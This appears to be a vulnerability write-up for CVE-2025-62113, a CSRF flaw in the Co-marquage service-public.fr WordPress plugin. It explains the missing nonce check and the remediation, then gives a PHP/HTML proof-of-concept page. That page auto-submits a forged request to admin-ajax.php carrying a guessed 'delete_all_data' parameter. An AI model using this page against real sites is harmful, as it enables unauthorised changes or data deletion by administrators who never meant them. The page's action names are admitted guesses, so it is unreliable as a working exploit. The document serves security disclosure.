Atomic Edge analysis of CVE-2025-62113 (metadata-based):
This vulnerability is a Cross-Site Request Forgery (CSRF) flaw in the Co-marquage service-public.fr WordPress plugin, affecting versions up to and including 0.5.77. The vulnerability allows unauthenticated attackers to trick an administrator into performing an unauthorized action via a forged request.
Atomic Edge research infers the root cause is a missing or incorrect nonce validation check on a specific plugin function. The vulnerability description confirms the absence of proper nonce validation but does not specify the exact function. In WordPress plugins, this typically occurs in AJAX handlers, admin menu callback functions, or form submission handlers that perform state-changing operations without verifying the `_wpnonce` or `_ajax_nonce` parameter.
Exploitation requires an attacker to craft a malicious link or webpage that submits a forged HTTP request to a vulnerable plugin endpoint. This request would target a specific WordPress action, likely an AJAX handler at `/wp-admin/admin-ajax.php` with an `action` parameter corresponding to the plugin’s vulnerable function. The attacker must then induce a logged-in administrator to visit the malicious page, causing the browser to automatically send the forged request with the administrator’s session cookies, thereby executing the unauthorized action.
Remediation requires adding proper nonce verification to the vulnerable function. The plugin should call `check_ajax_referer()` for AJAX handlers or `wp_verify_nonce()` for other forms, ensuring the request contains a valid, single-use security token generated by WordPress. The fix must also confirm the requesting user has the appropriate capabilities, though the CSRF flaw specifically relates to the missing nonce check.
The impact of successful exploitation is limited integrity violation. An attacker can perform unauthorized actions that a plugin administrator is permitted to do, such as changing plugin settings, deleting data, or modifying content. The CVSS vector indicates no confidentiality or availability impact, and the attack requires user interaction (UI:R).
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-62113 - Co-marquage service-public.fr <= 0.5.77 - Cross-Site Request Forgery
<?php
/**
* Proof of Concept for CVE-2025-62113.
* This script generates a CSRF attack page targeting the vulnerable plugin.
* The exact action parameter is inferred from common WordPress plugin patterns.
* Assumptions: The vulnerable endpoint is an AJAX handler. The action name is derived from the plugin slug.
*/
$target_url = 'http://vulnerable-site.example.com/wp-admin/admin-ajax.php'; // CHANGE THIS
// Common pattern for AJAX action: plugin slug + '_action'. This is an educated guess.
$inferred_action = 'co_marquage_service_public_action';
// A sample malicious parameter. The actual parameter would depend on the plugin's function.
$malicious_param = 'delete_all_data';
$malicious_value = '1';
?>
<!DOCTYPE html>
<html>
<head>
<title>CSRF PoC</title>
</head>
<body>
<h2>CVE-2025-62113 CSRF Proof of Concept</h2>
<p>If a WordPress administrator visits this page while logged into the vulnerable site, the form below will automatically submit a forged request to the plugin's vulnerable AJAX endpoint.</p>
<form id="csrf_form" action="<?php echo htmlspecialchars($target_url); ?>" method="POST">
<input type="hidden" name="action" value="<?php echo htmlspecialchars($inferred_action); ?>">
<input type="hidden" name="<?php echo htmlspecialchars($malicious_param); ?>" value="<?php echo htmlspecialchars($malicious_value); ?>">
<!-- Other potential parameters required by the plugin would go here -->
<input type="submit" value="Submit (for demo)">
</form>
<script>
// Auto-submit the form to simulate a one-click attack
document.getElementById('csrf_form').submit();
</script>
</body>
</html>
